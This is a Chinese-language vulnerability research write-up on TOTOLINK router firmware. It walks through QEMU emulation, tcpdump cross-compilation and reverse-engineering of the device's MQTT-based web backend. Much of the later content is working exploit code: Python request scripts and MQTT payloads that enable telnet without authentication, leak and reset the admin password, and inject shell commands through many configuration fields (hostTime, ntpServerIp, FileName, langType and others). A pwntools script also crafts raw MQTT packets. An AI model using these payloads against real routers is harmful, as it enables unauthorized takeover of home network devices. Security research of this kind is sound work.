-
1.1 获取和解压固件
-
1.2 流量转发
-
1.3 虚拟环境的各种问题
-
1.4 真机
-
2.1 telnet
-
2.2 password获取
-
3.1 目录梳理
-
4.1 登陆
-
4.1.1 密码泄露
-
4.2 admin后台
-
4.2.1 password.asp
-
4.2.2 所以asp里的功能 是怎么对应到后面的?
-
4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢?
-
4.2.4 如何加载库的呢?
-
4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢?
-
4.2.6 mqtt代理如何和服务端和客户端通信的呢?
-
4.2.7 完整的流程
-
5.1 抓包分析:(以telnet为例)
-
5.1.1 安装libpcap/tcpdump
-
5.1.2 流量包分析
-
5.1.3 利用pwntools构造mqtt的数据包
-
5.1.4 mqtt.fx使用
-
6.1 system.so
-
6.1.1 getPasswordCfg 未授权获取用户名密码
-
6.1.2 setPasswordCfg 未授权修改密码
-
6.1.3 NTPSyncWithHost 命令执行
-
6.1.4 setNTPCfg 命令执行
-
6.2 upgrade.so
-
6.3 global.so
-
6.4 firewall.so
-
6.5 wireless.so
-
6.6 lan.so、wan.so、wps.so
-
7.1 gdbserver调试
-
7.2 ida动态调试远程调试
-
7.2.1附加调试(无符号信息)
-
7.2.2 运行调试(有符号信息)
-
7.3 filewall.so库中setIpQosRules函数栈溢出调试
一、环境搭建
1.1 获取和解压固件
http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=15&ids=36
binwalk -Me TOTOLINK_CS185R_T10_IP04336_8197F_SPI_16M64M_V5.9c.1485_B20180122_ALL.web
查看busybox获得架构信息,
root@vultr:/tmp/squashfs-root/bin# file busybox
busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
下载qemu
apt install qemu-user qemu-user-static qemu-system
网桥工具
apt install bridge-utils uml-utilities
链接失效了,问同学要了一个
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
scp -r root@xxxx:/root/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 ./
scp -r root@xxxx:/root/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta ./
网络配置
brctl addbr virbr2 # 创建网桥
ifconfig virbr2 192.168.6.1/24 up # 配置网桥IP
tunctl -t tap2 # 添加虚拟网卡tap2
ifconfig tap2 192.168.6.11/24 up # 配置虚拟网卡IP
brctl addif virbr2 tap2 # 配置虚拟网卡与网桥连接
启动虚拟机
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic
登陆虚拟机、配置网络
root/root
ifconfig eth0 192.168.6.15 up # 配置路由器IP scp -r squashfs-root/ [email protected]:/root/ # 拷贝路由器文件到虚拟机
注意这里有个坑
就是上一个开启的qemu里面的squashfs-root不是要搭建的那个路由器的…很奇怪…不知道哪里来的…
所以其实要先从物理机上考过去一份到qemu的debian系统里,然后再拷到路由系统里
物理机/云服务器执行: scp -r /tmp/squashfs-root 192.168.6.15:/root/ 拷贝到qemu虚拟出的debian里面
qemu里执行 scp -r squashfs-root/ [email protected]:/root/ 拷贝到
chroot ./squashfs-root/ /bin/sh # 挂载路由器系统 ./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib # 启动路由器服务
报错(server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
创建一下即可
1.2 流量转发
怎么把流量转发出来呢?
把qemu的流量转发到主机的端口
ssh [email protected] -L 127.0.0.1:80:127.0.0.1:80
把主机的流量转发到PC端口,就可以在自己电脑上访问了
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:127.0.0.1:80
或者安装一个图形化界面(用服务器搭建的)
ssh [email protected] -L 127.0.0.1:80:127.0.0.1:80
或者直接一个转发就行了吧?(vps关了,还没尝试)
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:192.168.6.15:80
1.3 虚拟环境的各种问题
登陆报错
2023-05-07 18:44:46: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
HTTP/1.1 200 OK
Content-Length: 0
Date: Sun, 07 May 2023 18:44:58 GMT
Server: lighttpd/1.4.20
2023-05-07 18:44:58: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
2023-05-07 18:48:03: (mod_cgi.c.588) cgi died, pid: 2588
2023-05-07 18:48:06: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
2023-05-07 18:48:09: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
HTTP/1.1 200 OK
Content-Length: 0
Date: Sun, 07 May 2023 18:48:19 GMT
Server: lighttpd/1.4.20
2023-05-07 18:48:19: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
访问home.asp直接下载文件了….
换个版本?
https://toscode.gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518
TOTOLINK NR1800X
http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=70&ids=36
好奇怪..用user模式是这个,system模式就不是了…
把东西拷其进去后 404了
但是在服务器里面测试是好的
搭建图形化界面https://zhuanlan.zhihu.com/p/436458664
vnc一开始连不上是防火墙的事,把防火墙关了,可以在图形化界面里直接访问
1.4 真机
因为自己的机器是mac,m1架构,搭建不了x86的虚拟机,就用的云服务器,比较麻烦,然后环境也有问题,于是买了一个真机,但是真机也有问题,导致自己很崩溃,通宵了一晚上去调试环境,但不论怎么搭建虚拟环境或者用真机,在登录页面点击登陆后,都登陆不进去
后来无意中在百度贴吧搜索发现有人和我一样的问题……………居然是要用远古的ie或者360浏览器的兼容模式才能打开…
二、 获取初始shell
2.1 telnet
在路由器管理后台开启telnet功能,或者直接python发包获取(未授权)
import requests
response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
2.2 password获取
(base) ➜ squashfs-root cat etc/shadow.sample
root:$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2/:16090:0:99999:7:::
nobody:*:14495:0:99999:7:::
解密结果是cs2012
三、框架分析
3.1 目录梳理
--bin 二进制文件
--lib
--cste_modules .so库文件
--web_cste 浏览器web后台主目录
--adm 管理员后台
--cgi-bin 功能处理
--firewall 防火墙功能
login.asp 登陆页面
telnet.asp telnet控制页面
进去之后 进行信息收集, 先传一个busybox-mipsel
python -m http.server 80 起一个服务,传一下
wget http://xxxxxxxx/busybox-mipsel
收集进程信息
1028 root 0:00 udhcpd /var/udhcpd.conf
1269 root 0:00 ppp_inet -t 3 -c 0 -x
1279 root 0:00 dnsmasq
1285 root 0:00 lld2d br0
1301 root 0:00 fwd
1329 root 0:00 cs_broker -c /etc/mosquitto.conf
1335 root 0:00 cste_sub -h 127.0.0.1 -t totolink/router/#
1352 root 0:00 telnetd
1360 root 0:00 csteDriverConnMachine
1365 root 0:00 crond
1366 root 0:00 [kworker/0:1H]
1376 root 0:00 lighttpd -f /lighttp/lighttpd.conf -m /lighttp/lib/
1398 root 0:00 /bin/getty -L ttyS0 38400 vt100
1400 root 0:00 watchdog -c /var/cs_watchdog.conf
1924 root 0:00 -sh
2178 root 0:00 ./busybox-mipsel ps auxf
网络信息
# ./busybox-mipsel netstat -alp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN 1376/lighttpd
tcp 0 0 0.0.0.0:domain 0.0.0.0:* LISTEN 1279/dnsmasq
tcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN 1352/telnetd
tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_broker
tcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_broker
tcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_sub
tcp 0 157 router.totolink.com:telnet 192.168.55.3:62063 ESTABLISHED 1352/telnetd
netstat: /proc/net/tcp6: No such file or directory
udp 0 0 0.0.0.0:domain 0.0.0.0:* 1279/dnsmasq
udp 0 0 0.0.0.0:bootps 0.0.0.0:* 1028/udhcpd
netstat: /proc/net/udp6: No such file or directory
netstat: /proc/net/raw6: No such file or directory
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1590 1335/cste_sub
unix 3 [ ] STREAM CONNECTED 1282 1028/udhcpd
unix 3 [ ] STREAM CONNECTED 1591 1335/cste_sub
unix 3 [ ] STREAM CONNECTED 1283 1028/udhcpd
unix 2 [ ] DGRAM 1488 1279/dnsmasq
四、逻辑功能、业务流程梳理
4.1 登陆
formLoginAuth.htm 这个东西其实在lighttpd里面, 它只是一个变量名,不代表文件,判断这个文件名,会调用Form_Login函数
4.1.1 密码泄露
这个请求包存在一个问题,即不论用户名密码是否正确,都调用它,然后返回前端,于是就有了一个用户名密码泄露漏洞
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/title.asp
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 37
Host: 192.168.0.1
Pragma: no-cache
Cookie: SESSION_ID=2:1516657290:2
Connection: close
{"topicurl":"setting/getLanguageCfg"}
HTTP/1.1 200 OK
Connection: close
Content-Type: text/plain
Content-Length: 340
Pragma: no-cache
Cache-Control: no-cache
Date: Mon, 22 Jan 2018 21:36:50 GMT
Server: lighttpd/1.4.20
{
"operationMode": 0,
"loginFlag": 1,
"multiLangBt": 1,
"helpBt": 1,
"fmVersion": "V5.9c.1485",
"title": "TOTOLINK",
"langFlag": 0,
"languageType": "cn",
"helpUrl": "www.totolink.cn",
"usbFlag": 0,
"productName": "T10",
"lanIp": "192.168.0.1",
"wanConnStatus": "disconnected",
"loginUser": "admin",
"loginPass": "123456888"
}
4.2 admin后台
4.2.1 password.asp
通过setting/getPasswordCfg接口可以直接获取密码,而且未做鉴权
var rJson;
$(function(){
var postVar={topicurl:"setting/getPasswordCfg"};
postVar=JSON.stringify(postVar);
$.ajax({
type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){
rJson=JSON.parse(Data);
supplyValue("admuser",rJson['admuser']);
}
});
$("#div_admpass11,#div_admpass21").show();//p
$("#div_admpass12,#div_admpass22").hide();//t
try{
parent.frames["title"].initValue();
}catch(e){}
});
4.2.2 所以asp里的功能 是怎么对应到后面的?
答: 通过mqtt协议转发,前端的功能,通过类似于setting/getPasswordCfg的消息,发送给代理程序,然后代理程序交给后端服务处理程序来处理,然后再相反路径返回结果
4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢?
比如setting/getPasswordCfg 它其实是在 system.so里
答:cstecgi.cgi里并没有包含所有功能,它主要是包含了请求重定向,登陆等功能,其余的功能,会通过转发请求和加载库的机制实现
在这里匹配不到的最后都会通过else里的这两个函数进行转发请求,给后面的处理程序进行处理. 可以看到,这里转发给了mqtt的代理程序,因为连接到了1883端口.
web_getData的参数可以往前追溯分析,
v23 = *(_DWORD *)(cJSON_GetObjectItem(v13, "topicurl") + 16);
v23: topicurl的值, 例如setting/getPasswordCfg
v30: 其他的参数值
那么这两个函数又是在哪里呢? 搜索发现是在libmosquitto.so库里,它是一个开源的组件,就是由它来负责具体的mqtt消息的处理
(base) ➜ squashfs-root grep -rin set_CSTEInfo
Binary file ./lib/libmosquitto.so matches
Binary file ./web_cste/cgi-bin/cstecgi.cgi matches
v16[0] 0
v16[1] 1883
v16[2] 127.0.0.1
v16[3]
v16[4] totolink/router/setting/setxxxxCfg
v16这个数组即发送的请求,传到client_config_load,然后传到 v10 = sub_F8DC(a1, a2, a3, a4);
可以看到,它会给消息分配一块堆空间,然后存储到这里
if ( mosquitto_sub_topic_check(*(_DWORD *)(a4 + 4 * (i + 1))) == 3 )
{
fprintf(
stderr,
"Error: Invalid subscription topic '%s', are all '+' and '#' wildcards correct?n",
*(const char **)(a4 + 4 * (i + 1)));
return 1;
}
++*(_DWORD *)(a1 + 96);
*(_DWORD *)(a1 + 92) = realloc(*(void **)(a1 + 92), 4 * *(_DWORD *)(a1 + 96));
v5 = (char **)(*(_DWORD *)(a1 + 92) + 4 * (*(_DWORD *)(a1 + 96) - 1));
*v5 = strdup(*(const char **)(a4 + 4 * (i + 1)));
4.2.4 如何加载库的呢?
进行逆向推理,首先要找是谁加载了system.so
(base) ➜ squashfs-root grep -irn "system.so"
Binary file ./bin/yddns matches
Binary file ./bin/pppoe-discovery matches
Binary file ./bin/csteDriverConnMachine matches
查看了一下这几个文件,发现都没有什么线索,根据网上的资料调查会发现,其实是通过dlopen这个方式加载库,所以.so和system可能进行了拼接,直接搜system就太多了,所以可以搜索路径lib/cste_modules
(base) ➜ squashfs-root grep -irn "lib/cste_modules"
Binary file ./bin/cste_sub matches
所以是cste_sub加载了system,在cute_sub的 load_modules()函数中,找到如下加载库的代码,可以看到,进行了路径拼接,以及用opendir和readdir读取目录中的文件.
tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_broker
tcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_broker
tcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_sub
根据前面查到的端口可以进一步分析,首先1883是mqtt端口,cs_broker用了这个端口,所以它就是代理,那么需要找客户端和服务端,客户端很明显,就是/cgi-bin/cstecgi.cgi,那么服务端呢,也很明显了,就是cste_sub,它与代理始终建立了双向链接
4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢?
在这里与1883代理进行消息转发
(base) ➜ squashfs-root grep -irn "set_CSTEinfo"
Binary file ./lib/libmosquitto.so matches
Binary file ./web_cste/cgi-bin/cstecgi.cgi matches
可以发现这两个函数来自于libmosquitto.so这个库,所以说totolink的mqtt是基于这个库来运行的
4.2.6 mqtt代理如何和服务端和客户端通信的呢?
也就是说那么 cs_broker是怎么接收cgi-bin/cstecgi.cgi的消息的呢? 又是怎么转发消息到cste_sub的呢?
4.2.6.1 mqtt代理与客户端通信
要有一个listen等待接收消息,cs_broker主函数中的mqtt3_socket_listen函数.获取传来的地址,解析数据,建立socket
4.2.6.2 与服务端通信
肯定要有一个connect进行连接
4.2.7 完整的流程
分析完登陆和后台的这个功能大概梳理清楚了程序的运行逻辑,它不是直接调用后端的接口,而是通过mqtt通信到后端来处理请求然后返回,所以不论前端的什么请求,都会转化成mqtt的请求包,所以对80端口的请求,也可以通过构造mqtt数据包来执行
此外还分析了一下系统的启动流程等,最后总结成流程图
五、mqtt分析
5.1 抓包分析:(以telnet为例)
5.1.1 安装libpcap/tcpdump
-
官网下载tcpdump和libpcap
git clone https://github.com/the-tcpdump-group/tcpdump
git clone https://github.com/the-tcpdump-group/libpcap
Git clone的版本比较新,有所不同,可以用这个
https://www.tcpdump.org/old_releases.html
5.1.1.1 libpcap
先安装两个依赖
先安装flex
#libpcap 1.1要求flex必须在2.4.6及以上
wget http://prdownloads.sourceforge.net/flex/flex-2.5.36.tar.gz
tar -xzvf flex-2.5.36.tar.gz
cd flex-2.5.36
./configure --prefix=/usr
make -j && make install
安装bison
wget http://ftp.gnu.org/gnu/bison/bison-2.4.tar.gz
tar -xzvf bison-2.4.tar.gz
cd bison-2.4/
./configure --prefix=/usr
make -j && make install
安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar -xzvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure --prefix=/usr
make -j && make install
–prefix=/usr指定软件安装路径
报错处理
root@vultr:~/net/libpcap-1.1.1# make -j
gcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c scanner.c
gcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c ./pcap-linux.c
gcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -Dyylval=pcap_lval -c grammar.c
./pcap-linux.c: In function ‘pcap_read_packet’:
./pcap-linux.c:1555:24: error: ‘SIOCGSTAMP’ undeclared (first use in this function); did you mean ‘SIOCGIWAP’?
1555 | if (ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts) == -1) {
| ^~~~~~~~~~
| SIOCGIWAP
./pcap-linux.c:1555:24: note: each undeclared identifier is reported only once for each function it appears in
make: *** [Makefile:81: pcap-linux.o] Error 1
make: *** Waiting for unfinished jobs....
https://blog.csdn.net/liangjian990709/article/details/111494494
https://github.com/LibtraceTeam/libtrace/issues/117
报错是说找不到这个宏的定义,找到出问题的文件pcap-linux.c,加上头文件即可 #include <linux/sockios.h>
验证是否成功
#include <stdio.h>
#include <pcap.h>
int main(int argc, char *argv[]) {
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t* devs;
pcap_if_t* d;
unsigned int i = 0;
//获取全部的dev
if (-1 == pcap_findalldevs(&devs, errbuf)) {
fprintf(stderr, "Could not list device: %sn", errbuf);
} else {
d = devs;
while (d->next != NULL) {
printf("%d:%sn", i++, d->name);
d = d->next;
}
}
//释放所有获取的dev
pcap_freealldevs(devs);
return (0);
}
gcc test.c -lpcap -L/usr/lib/libpcap.so
-lpcap然后指定安装路径
root@vultr:~/net# ./a.out
0:docker0
1:tun0
2:enp1s0
3:virbr2
4:tap2
5:br-bb76d9e6caa6
6:any
https://www.coder4.com/archives/1001
5.1.1.2 tcpdump
wget https://www.tcpdump.org/release/tcpdump-4.1.1.tar.gz
tar zxvf tcpdump-4.1.1.tar.gz
cd tcpdump-4.1.1
./configure --prefix=/usr
make -j && make install
安装完直接命令输入 tcpdump进行测试
5.1.1.3 交叉编译mipsel版tcpdump
安装mipsel gcc
apt install gcc-mipsel-linux-gnu
编译libpcap (重新解压一份源码)
./configure --prefix=/home/test/mipsel_libpcap #该目录根据情况更改
/configure --host=mipsel-linux --with-pcap=linux --prefix=/home/test/mipsel_libpcap
make CC=mipsel-linux-gnu-gcc
make install CC=mipsel-linux-gnu-gcc #编译的libpcap安装到了/home/test/mipsel_libpcap目录下
编译tcpdump
动态链接
./configure
make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a'
静态链接
./configure
make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include -static' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a -static'
编译的时候报错,应该是版本太老了….然后….
很多个版本一直报错
checking for pcap_loop... no
configure: error: This is a bug, please follow the guidelines in CONTRIBUTING and include the
config.log file in your report. If you have downloaded libpcap from
tcpdump.org, and built it yourself, please also include the config.log
file from the libpcap source directory, the Makefile from the libpcap
urce directory, and the output of the make process for libpcap, as
2010就好了
不过最后还是有点问题,没有编译成功,暂时先放一下,在github上能搜到编译好的,先用着
https://github.com/badmonkey7/tcpdump-static
5.1.2 流量包分析
tcp开启监听,然后mqtt发送订阅(其实不行,这个包不完全,应该走80端口的服务才行)
import requests
response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
./tcpdump-mipsel -i any -w ./test1.pcap
./tcpdump-mipsel -i lo -w ./test.pcap
获取流量后,利用base64编码把数据包拿到
cat /tmp/test.pcap | /tmp/busybox-mipsel base64 # 编码过程
# 将base64编码的内容保存到本地文件pcap64
cat pcap64 | base64 -d > test.pcap # 解码过程
不知道为什么一发送订阅,连接就挂了..所以开一个nohup来放到后台运行,断了后重新登录,kill掉进程就得到数据包了,并且如果想抓80的话,要多抓几个网卡,具体是哪个还没测试(-i any抓全部)
# ./tcpdump-mipsel -i lo -w ./test.pcap
tcpdump-mipsel: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Connection closed by foreign host.
./busybox-mipsel nohup ./tcpdump-mipsel -i any -w ./test.pcap
能够看到三次握手四次挥手以及订阅包,推送包等等
基于上面分析,可以利用pwntools直接构造mqtt的数据包
5.1.3 利用pwntools构造mqtt的数据包
这条消息中的下面选中部分就是发送的设置telnet的mqtt publish报文,也就是脚本中的msg2
31 1.735248 127.0.0.1 127.0.0.1 MQTT 175 Publish Message [totolink/router/setting/setTelnetCfg]
from pwn import *
io = remote("192.168.55.1",1883)
msg1 = "x10x1ax00x04x4dx51x54x54x04x02x00x3cx00x0ex4dx51x54x54x5fx46x58x5fx43x6cx69x65x6ex74"
msg2 = "x30x65x00x24x74x6fx74x6fx6cx69x6ex6bx2fx72x6fx75x74x65x72x2fx73x65x74x74x69x6ex67x2fx73x65x74x54x65x6cx6ex65x74x43x66x67x7bx0ax09x22x74x6fx70x69x63x75x72x6cx22x3ax09x22x73x65x74x74x69x6ex67x2fx73x65x74x54x65x6cx6ex65x74x43x66x67x22x2cx0ax09x22x74x65x6cx6ex65x74x5fx65x6ex61x62x6cx65x64x22x3ax09x22x31x22x0ax7d"
io.send(msg1) # connect
sleep(0.2)
io.send(msg2) # setTelnetCfg 1
5.1.4 mqtt.fx使用
https://blog.csdn.net/weixin_43940932/article/details/107935303
这是一个调试mqtt协议的工具, 先修改mqtt代理的ip,就是路由器的ip,
subscribe订阅 #是订阅全部
publish,发送报文
六、so库命令执行漏洞挖掘
有命令执行的一般都要有system,execve 或者包装好的函数 CsteSystem,如果有交叉引用的漏洞函数,那么也可能存在命令执行
一共9个文件. 后面有时间感觉可以写个ida脚本自动化来找…
6.1 system.so
主要包含下面的函数
int module_init()
{
cste_hook_register("getPasswordCfg", getPasswordCfg);
cste_hook_register("setPasswordCfg", setPasswordCfg);
cste_hook_register("NTPSyncWithHost", NTPSyncWithHost);
cste_hook_register("getNTPCfg", getNTPCfg);
cste_hook_register("setNTPCfg", setNTPCfg);
cste_hook_register("getDDNSStatus", getDDNSStatus);
cste_hook_register("getDDNSCfg", getDDNSCfg);
cste_hook_register("setDDNSCfg", setDDNSCfg);
cste_hook_register("getSyslogCfg", getSyslogCfg);
cste_hook_register("clearSyslog", clearSyslog);
cste_hook_register("setSyslogCfg", setSyslogCfg);
cste_hook_register("getMiniUPnPConfig", getMiniUPnPConfig);
cste_hook_register("setMiniUPnPConfig", setMiniUPnPConfig);
cste_hook_register("LoadDefSettings", LoadDefSettings);
cste_hook_register("RebootSystem", RebootSystem);
cste_hook_register("FirmwareUpgrade", FirmwareUpgrade);
cste_hook_register("getRebootScheCfg", getRebootScheCfg);
cste_hook_register("setRebootScheCfg", setRebootScheCfg);
cste_hook_register("getTelnetCfg", getTelnetCfg);
cste_hook_register("setTelnetCfg", setTelnetCfg);
cste_hook_register("SystemSettings", SystemSettings);
return 0;
}
6.1.1 getPasswordCfg 未授权获取用户名密码
mqtt 1883端口攻击
totolink/router/setting/getPasswordCfg
{
"topicurl":"setting/getPasswordCfg"
}
会直接返回用户名密码
80端口攻击
import requests
response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/getPasswordCfg"}')
print(response.text)
效果
(base) ➜ router python3 password.exp
{
"admuser": "admin",
"admpass": "123456888"
}
GetLanguageCfg也可以,不过不在system.so这里
6.1.2 setPasswordCfg 未授权修改密码
totolink/router/setting/setPasswordCfg
{
"topicurl":"setting/setPasswordCfg",
"admuser":"admin",
"admpass":"123456888"
}
6.1.3 NTPSyncWithHost 命令执行
mqtt 1883端口
totolink/router/setting/NTPSyncWithHost
{
"topicurl":"setting/NTPSyncWithHost",
"hostTime":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"
}
80端口
import requests
response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/NTPSyncWithHost","hostTime":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"}')
print(response.text)
主要漏洞原因是获取了hostTime参数后,直接拼接起来然后传给了CsteSystem进行命令执行了
6.1.4 setNTPCfg 命令执行
totolink/router/setting/setNTPCfg
{
"topicurl":"setting/setNTPCfg",
"tz":"UTC+0",
"ntpServerIp":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123456)';",
"ntpClientEnabled":"ON"
}
apmib_set在哪呢?
搜索一下 grep -rin apmib_set
(base) ➜ squashfs-root grep -rin apmib_set
Binary file ./bin/csteSys matches
Binary file ./bin/AC matches
Binary file ./bin/cs_statistics matches
Binary file ./bin/WTP matches
Binary file ./bin/flash matches
Binary file ./bin/sysconf matches
Binary file ./bin/ntp_inet matches
Binary file ./bin/fwupg matches
Binary file ./bin/AACWTP matches
Binary file ./lib/cste_modules/wan.so matches
Binary file ./lib/cste_modules/wps.so matches
Binary file ./lib/cste_modules/system.so matches
Binary file ./lib/cste_modules/firewall.so matches
Binary file ./lib/cste_modules/wireless.so matches
Binary file ./lib/cste_modules/global.so matches
Binary file ./lib/cste_modules/lan.so matches
Binary file ./lib/libapmib.so matches
Binary file ./lib/libcstelib.so matches
Binary file ./lib/libapmib.so matches 这个名字看着就像,但是这个一个第三方库,就是设置值的,不像是触发漏洞的点
后来进行gdb动态调试的时候发现,system触发点在set_timeZone()函数中,也很奇怪,因为这个函数并没有传入的值.
6.2 upgrade.so
主要函数
int module_init()
{
cste_save_fwinfo();
cste_hook_register("setUpgradeFW", &setUpgradeFW);
cste_hook_register("setUploadSetting", &setUploadSetting);
cste_hook_register("CloudACMunualUpdate", CloudACMunualUpdate);
cste_hook_register("slaveUpgrade", slaveUpgrade);
return 0;
}
int __fastcall dl(const char *a1)
{
char v3[512]; // [sp+18h] [-300h] BYREF
char v4[256]; // [sp+218h] [-100h] BYREF
memset(v3, 0, sizeof(v3));
memset(v4, 0, sizeof(v4));
getStrFromTmp("DlFileUrl", v4);
sprintf(v3, "wget -O %s %s", a1, v4);
return CsteSystem(v3, 0);
}
getStrFromTmp这个是干什么的..
6.2.1 setUpgradeFW 命令执行
注意这里拼接命令和其他有所不同
totolink/router/setting/setUpgradeFW
{
"topicurl":"setting/setUpgradeFW",
"Flags":1,
"FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUpgradeFW;",
"ContentLength":12
}
当ContentLength小于0x100000时,执行LABEL_14的逻辑,这里是出现错误删除文件的功能,进行了拼接
6.2.2 setUploadSetting 命令执行
totolink/router/setting/setUploadSetting
{
"topicurl":"setting/setUploadSetting",
"FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;",
"ContentLength":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;"
}
获取的文件名会进行读取
6.2.3 slaveUpgrade 命令执行
totolink/router/setting/slaveUpgrade
{
"topicurl":"setting/slaveUpgrade",
"url":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"
}
6.3 global.so
主要功能
int module_init()
{
cste_hook_register("getOpMode", getOpMode);
cste_hook_register("setOpMode", setOpMode);
cste_hook_register("getGlobalFeatureBuilt", getGlobalFeatureBuilt);
cste_hook_register("getSysStatusCfg", getSysStatusCfg);
cste_hook_register("getLanguageCfg", getLanguageCfg);
cste_hook_register("setLanguageCfg", setLanguageCfg);
cste_hook_register("loginAuth", &loginAuth);
cste_hook_register("getSaveConfig", &getSaveConfig);
cste_hook_register("getLedStatus", getLedStatus);
cste_hook_register("getWanAutoDetect", &getWanAutoDetect);
cste_hook_register("setEasyWizardCfg", setEasyWizardCfg);
cste_hook_register("getEasyWizardCfg", getEasyWizardCfg);
cste_hook_register("autoDhcp", autoDhcp);
return 0;
}
6.3.1 setLanguageCfg 命令执行
totolink/router/setting/setLanguageCfg
{
"topicurl":"setting/setLanguageCfg",
"langType":";echo 123 > /tmp/setLanguageCfg;"
}
6.3.2 getLanguageCfg 信息泄露
用户名密码泄露
6.4 firewall.so
防火墙的,设置防火墙相应内容. 但是这里面system执行的内容都是写死的,不可控
有没有可能格式化字符串修改固定的值,然后进行命令利用?
6.5 wireless.so
6.5.1 setWebWlanIdx 命令执行
totolink/router/setting/setWebWlanIdx
{
"topicurl":"setting/setWebWlanIdx",
"webWlanIdx":";echo 123 > /tmp/setWebWlanIdx;"
}
import requests
response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setWebWlanIdx","hostTime":";echo 123 > /tmp/test123;")
print(response.text)
6.5.2 updateWifiInfo 命令执行
注意newMd5参数不为0
totolink/router/setting/updateWifiInfo
{
"topicurl":"setting/updateWifiInfo",
"serverIp":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/updateWifiInfo;",
"newMd5":123
}
6.5.3 meshInfoKick 命令执行
totolink/router/setting/meshInfoKick
{
"topicurl":"setting/meshInfoKick",
"ipAddr":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/meshInfoKick;"
}
有点小问题,还没调试好
6.6 lan.so、wan.so、wps.so
没找到
七、溢出漏洞调试
7.1 gdbserver调试
被调试的机器下载gdbserver,然后启动 gdbserver 192.168.xx.xx:1234 ./helloworld,或者进行attach进程
root@VM-24-10-ubuntu:/home/ubuntu/gdb# ./gdbserver-7.10.1-x64 :80 --attach 17031
Attached; pid = 17031
Listening on port 80
https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver
